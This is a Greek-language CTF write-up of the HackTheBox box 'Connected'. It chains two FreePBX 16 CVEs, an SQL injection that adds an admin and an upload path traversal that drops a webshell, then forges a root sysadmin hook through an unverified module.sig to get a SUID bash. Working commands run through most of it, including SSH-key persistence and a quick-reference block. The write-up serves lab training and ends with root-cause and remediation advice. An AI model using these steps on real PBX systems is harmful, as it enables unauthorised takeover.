Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Connected

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Connected είναι ένα box FreePBX, και τα δύο μισά αφορούν το να εμπιστεύεσαι το λάθος πράγμα. Το foothold αλυσιδώνει δύο φρέσκα CVEs — ένα unauthenticated stacked SQL injection (CVE-2025-57819) που γράφει έναν ολοκαίνουριο admin κατευθείαν στον πίνακα users, και ένα authenticated path traversal firmware-upload (CVE-2025-61678) που ρίχνει ένα webshell στο web root. Το root είναι πιο όμορφο: το FreePBX έρχεται με ένα σύστημα hook "sysadmin" που τρέχει σαν root και εκτελεί scripts module όταν ένα αρχείο προσγειώνεται σε ένα spool παρακολουθούμενο από incron. Κάνει hash-check κάθε hook ενάντια σε ένα υπογεγραμμένο module.sig — αλλά ποτέ δεν επαληθεύει πραγματικά την υπογραφή, οπότε ένας χρήστης που μπορεί να γράψει τον φάκελο module μπορεί να ξαναγράψει ένα hook, να κάνει patch το hash του, και να το κάνει να τρέξει σαν root.
Connected compromise chain: FreePBX 16 unauthenticated stacked SQLi (CVE-2025-57819) inserts an admin, an authenticated Endpoint-Manager firmware-upload path traversal (CVE-2025-61678) drops a webshell as asterisk for user.txt, an incron watcher runs sysadmin_manager as root on new spool files, and an editable module.sig lets asterisk plant a root hook that drops a SUID bash for root.txt
FreePBX 16 → CVE-2025-57819 SQLi → admin → CVE-2025-61678 upload → webshell → asterisk → incron sysadmin hook → root

Αναγνώριση

SSH συν ένα CentOS Apache που σερβίρει HTTP και HTTPS, ανακατευθύνοντας στο connected.htb. Το πιστοποιητικό TLS (pbxconnect) και ο τίτλος /admin το προδίδουν — αυτό είναι FreePBX.

nmap
$ nmap -sCV -p- <TARGET_IP> 22/tcp open ssh OpenSSH 7.4 80/tcp open http Apache/2.4.6 (CentOS) PHP/7.4 (→ connected.htb) 443/tcp open ssl/http Apache/2.4.6 (ssl-cert CN=pbxconnect) $ curl -sk https://<TARGET_IP>/admin/ -o /dev/null -w '%{redirect_url}\n' https://<TARGET_IP>/admin/config.php # FreePBX Administration 16

Foothold — FreePBX 16 SQLi → Admin → RCE

Το FreePBX 16 είναι ευάλωτο σε δύο αλυσιδωτά bugs (public exploit: 0xEhab/FreePBX-CVE-2025-57819-RCE):

Το exploit τα κάνει όλα αυτά και σου δίνει εκτέλεση εντολών. Μια παροδική σημείωση: το πρώτο τρέξιμο έκανε timeout στο POST login (το box είναι αργό να απαντήσει)· η επανάληψη πέρασε ομαλά.

FreePBX RCE
$ python3 exploit.py --rhost <TARGET_IP> --command 'id' [*] [CVE-2025-57819] creating admin via stacked SQLi: svc_p2v21:... [+] admin row inserted into ampusers [+] authenticated as svc_p2v21 [*] [CVE-2025-61678] uploading webshell -> /3jjb7bz2oi/t5rxo97i.php [+] webshell live uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

RCE σαν asterisk. Αντί να παλεύω με ένα reverse shell, χρησιμοποίησα τη λειτουργία single-command για να φυτέψω ένα κλειδί SSH και να πάρω ένα σταθερό session — το user flag είναι ακριβώς εκεί:

SSH-key persistence → user.txt
$ python3 exploit.py --rhost <IP> --command \ "mkdir -p ~/.ssh; echo '<pubkey>' >> ~/.ssh/authorized_keys" $ ssh -i conn_key asterisk@<IP> 'cat ~/user.txt' [redacted — user flag]

Root — Το Hook sysadmin του FreePBX

Το κυνήγι SUID αναδεικνύει ένα pkexec που φαίνεται ευάλωτο, αλλά το exploit του δεν πιάνει. Το πραγματικό μονοπάτι είναι η δική του κόλλα αυτοματισμού του FreePBX. Το /etc/incron.d ορίζει watches incron — cron οδηγούμενο από inotify — και ένα από αυτά είναι όλο το παιχνίδι:

/etc/incron.d/*
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $# /usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#

Οπότε όποτε εμφανίζεται ένα αρχείο στο /var/spool/asterisk/incron, ο root τρέχει το sysadmin_manager με εκείνο το όνομα αρχείου. Εκείνο το binary (η λογική του ζει στο /usr/lib/sysadmin/includes.php) κάνει parse το όνομα αρχείου σαν <module>.<hook> και, μετά από μια σειρά ελέγχων, τρέχει το script hook του module σαν root:

includes.php — the payoff
$sigfile = "/var/www/html/admin/modules/$module/module.sig"; $hookfile = "/var/www/html/admin/modules/$module/hooks/$hook"; $verify = $g->checkSig($sigfile); # parses the signed hash list ... if (hash_file('sha256', $hookfile) !== $verify['hashes'][$signame]) exit; # hash gate ... system("$hookfile $params"); # runs as ROOT

Στα χαρτιά αυτό είναι κλειδωμένο: το hook πρέπει να ταιριάζει με ένα sha256 λιστσαρισμένο μέσα σε ένα module.sig GPG-clearsigned που πρέπει να είναι υπογεγραμμένο από ένα whitelisted κλειδί FreePBX. Αλλά δες τι πραγματικά ελέγχει ο κώδικας — επιβεβαιώνει ότι τα blocks [hashes] και [config][signedwith] υπάρχουν και είναι whitelisted, και ότι το hash του hook ταιριάζει. Δεν ελέγχει ποτέ ότι η υπογραφή GPG πράγματι επαληθεύτηκε. Το checkSig κάνει ευχαρίστως parse τη λίστα hash από ένα αρχείο clearsigned του οποίου το σώμα έχει επεξεργαστεί.

Diagram of the sysadmin hook privesc: asterisk rewrites a module's hooks/logrotate to drop a SUID bash and patches the matching sha256 in module.sig, sysadmin_manager checks the sha256 against the parsed but never GPG-verified module.sig, then touching a trigger in the incron spool makes it run the hook as root

Και ο φάκελος modules είναι δικός μας: το /var/www/html/admin/modules ανήκει στον asterisk:asterisk, mode 775. Οπότε διάλεξε ένα module με ένα hook — το module api έχει ένα logrotate — ξαναγράψε το hook να ρίξει ένα SUID bash, ξαναϋπολόγισε το sha256 του, κάνε patch εκείνη τη μία γραμμή στο module.sig, και άγγιξε το trigger:

forge the hook → trigger as root
asterisk@connected$ M=/var/www/html/admin/modules/api asterisk@connected$ printf '#!/bin/bash\ninstall -m 4755 /bin/bash /tmp/.bs\n' > "$M/hooks/logrotate" asterisk@connected$ NEW=$(sha256sum "$M/hooks/logrotate" | awk '{print $1}') asterisk@connected$ sed -i "s#^hooks/logrotate = .*#hooks/logrotate = $NEW#" "$M/module.sig" asterisk@connected$ touch /var/spool/asterisk/incron/api.logrotate # incron → sysadmin_manager (root)

Το watch incron πυροδοτείται, ο root τρέχει το hook μας, και εμφανίζεται ένα setuid bash. Το -p κρατά το effective UID στο 0:

SUID bash → root
asterisk@connected$ ls -l /tmp/.bs -rwsr-xr-x 1 root root 964536 /tmp/.bs asterisk@connected$ /tmp/.bs -p -c 'id; cat /root/root.txt' uid=999(asterisk) euid=0(root) groups=1000(asterisk) [redacted — root flag]
Το σύστημα hook έκανε το δύσκολο κομμάτι — GPG-signing releases, whitelisting κλειδιά, hashing κάθε αρχείο — και μετά ξέχασε να το επιβάλει. Ένα hash καρφωμένο μέσα σε μια υπογραφή που ποτέ δεν κάνεις validate είναι απλά ένα checksum, και ένα checksum που μπορείς να ξαναγράψεις δεν είναι κανένας έλεγχος. Επαλήθευσε το αποτέλεσμα της υπογραφής, και μην αφήνεις τον λογαριασμό που σερβίρει την web εφαρμογή να κατέχει τον φάκελο που εμπιστεύεται ο root daemon.

Γιατί Δούλεψε

ΣταδιοΡιζα του προβληματος
→ adminUnauthenticated stacked SQL injection στον endpoint module loader εισάγει έναν admin — CVE-2025-57819 (CWE-89)
→ asteriskAuthenticated path traversal firmware-upload γράφει ένα webshell PHP στο web root — CVE-2025-61678 (CWE-22 / CWE-434)
→ rootΤο hook sysadmin root εμπιστεύεται ένα επεξεργάσιμο module.sig που ποτέ δεν κάνει GPG-verify, και ο χρήστης web κατέχει τον φάκελο module (CWE-347 / CWE-732)

Βασικές εντολές

quick reference
# 1. RCE SQLi + upload FreePBX → asterisk (user.txt) python3 exploit.py --rhost <IP> --command 'id' # CVE-2025-57819 + 61678 python3 exploit.py --rhost <IP> --command "echo <pubkey> >> ~/.ssh/authorized_keys" ssh -i conn_key asterisk@<IP> # 2. hook sysadmin incron → root (root.txt) M=/var/www/html/admin/modules/api printf '#!/bin/bash\ninstall -m 4755 /bin/bash /tmp/.bs\n' > $M/hooks/logrotate sed -i "s#^hooks/logrotate = .*#hooks/logrotate = $(sha256sum $M/hooks/logrotate|awk '{print $1}')#" $M/module.sig touch /var/spool/asterisk/incron/api.logrotate /tmp/.bs -p -c 'cat /root/root.txt'
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗